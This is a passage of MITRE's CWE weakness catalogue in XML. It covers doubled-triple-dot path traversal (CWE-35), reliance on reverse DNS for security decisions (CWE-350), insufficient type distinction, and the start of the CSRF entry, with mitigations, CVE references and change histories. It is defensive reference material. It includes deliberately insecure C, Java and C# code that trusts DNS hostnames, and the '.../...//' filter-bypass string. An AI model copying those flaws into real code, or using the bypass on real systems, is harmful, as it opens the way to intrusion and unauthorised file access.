               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Untrusted Data Appended with Trusted Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="35" Name="Path Traversal: '.../...//'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '.../...//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../...//" can collapse into the "../" unsafe value (CWE-182). Removing the first "../" yields "....//"; the second removal yields "../". Depending on the algorithm, the product could be susceptible to CWE-34 but not CWE-35, or vice versa.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2169</Reference>
               <Description>chain: ".../...//" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2169</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0202</Reference>
               <Description>".../....///" bypasses regexp's that remove "./" and "../"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0202</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'.../...//'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Doubled Triple Dot Slash - '.../...//'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="350" Name="Reliance on Reverse DNS Resolution for a Security-Critical Action" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.</Description>
         <Extended_Description>
            <xhtml:p>Since DNS names can be easily spoofed or misreported, and it may be difficult for the product to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.</xhtml:p>
            <xhtml:p>When the product performs a reverse DNS resolution for an IP address, if an attacker controls the DNS server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.</xhtml:p>
            <xhtml:p>Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="290" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="807" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="923" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Malicious users can fake authentication information by providing false DNS information.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-42">
               <Phase>Implementation</Phase>
               <Description>Perform proper forward and reverse DNS lookups to detect DNS spoofing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-93">
               <Intro_Text>The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct hostent *hp;struct in_addr myaddr;<xhtml:br/>char* tHost = "trustme.example.com";<xhtml:br/>myaddr.s_addr=inet_addr(ip_addr_string);<xhtml:br/>
                     <xhtml:br/>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr), AF_INET);<xhtml:br/>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost))) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>} else {<xhtml:div style="margin-left:1em;">trusted = false;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String ip = request.getRemoteAddr();<xhtml:br/>InetAddress addr = InetAddress.getByName(ip);<xhtml:br/>if (addr.getCanonicalHostName().endsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);<xhtml:br/>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);<xhtml:br/>if (hostInfo.HostName.EndsWith("trustme.com")) {<xhtml:div style="margin-left:1em;">trusted = true;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In these examples, a connection is established if a request is made by a trusted host.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sd = socket(AF_INET, SOCK_DGRAM, 0);<xhtml:br/>serv.sin_family = AF_INET;<xhtml:br/>serv.sin_addr.s_addr = htonl(INADDR_ANY);<xhtml:br/>servr.sin_port = htons(1008);<xhtml:br/>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));<xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>memset(msg, 0x0, MAX_MSG);<xhtml:br/>clilen = sizeof(cli);<xhtml:br/>h=gethostbyname(inet_ntoa(cliAddr.sin_addr));<xhtml:br/>if (h-&gt;h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &amp; cli, &amp;clilen);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>while(true) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>DatagramPacket rp=new DatagramPacket(rData,rData.length);<xhtml:br/>outSock.receive(rp);<xhtml:br/>String in = new String(p.getData(),0, rp.getLength());<xhtml:br/>InetAddress IPAddress = rp.getAddress();<xhtml:br/>int port = rp.getPort();<xhtml:br/>if ((rp.getHostName()==...) &amp; (in==...)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>out = secret.getBytes();<xhtml:br/>DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);<xhtml:br/>outSock.send(sp);</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1488</Reference>
               <Description>Does not do double-reverse lookup to prevent DNS spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1488</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1500</Reference>
               <Description>Does not verify reverse-resolved hostnames in DNS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1500</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1221</Reference>
               <Description>Authentication bypass using spoofed reverse-resolved DNS hostnames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1221</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0804</Reference>
               <Description>Authentication bypass using spoofed reverse-resolved DNS hostnames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0804</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1155</Reference>
               <Description>Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1155</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0892</Reference>
               <Description>Reverse DNS lookup used to spoof trusted content in intermediary.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0892</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0981</Reference>
               <Description>Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0981</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improperly Trusted Reverse DNS</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Trusting self-reported DNS name</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP29</Entry_ID>
               <Entry_Name>Faulty endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="142"/>
            <Related_Attack_Pattern CAPEC_ID="275"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="89"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 15: Not Updating Easily.&#34; Page 231"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 24: Trusting Network Name Resolution.&#34; Page 361"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 16, &#34;DNS Spoofing&#34;, Page 1002"/>
         </References>
         <Notes>
            <Note Type="Maintenance">CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-06-23</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>CWE-247 and CWE-292 deprecated and merged into CWE-350 to address duplicates.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Improperly Trusted Reverse DNS</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="351" Name="Insufficient Type Distinction" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="436" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2260</Reference>
               <Description>Browser user interface does not distinguish between user-initiated and synthetic events.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2260</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2801</Reference>
               <Description>Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2801</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient Type Distinction</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Overlaps others, e.g. Multiple Interpretation Errors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="352" Name="Cross-Site Request Forgery (CSRF)" Abstraction="Compound" Structure="Composite" Status="Stable">
         <Description>The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.</Description>
         <Extended_Description>When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="Requires" CWE_ID="346" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="441" View_ID="1000"/>
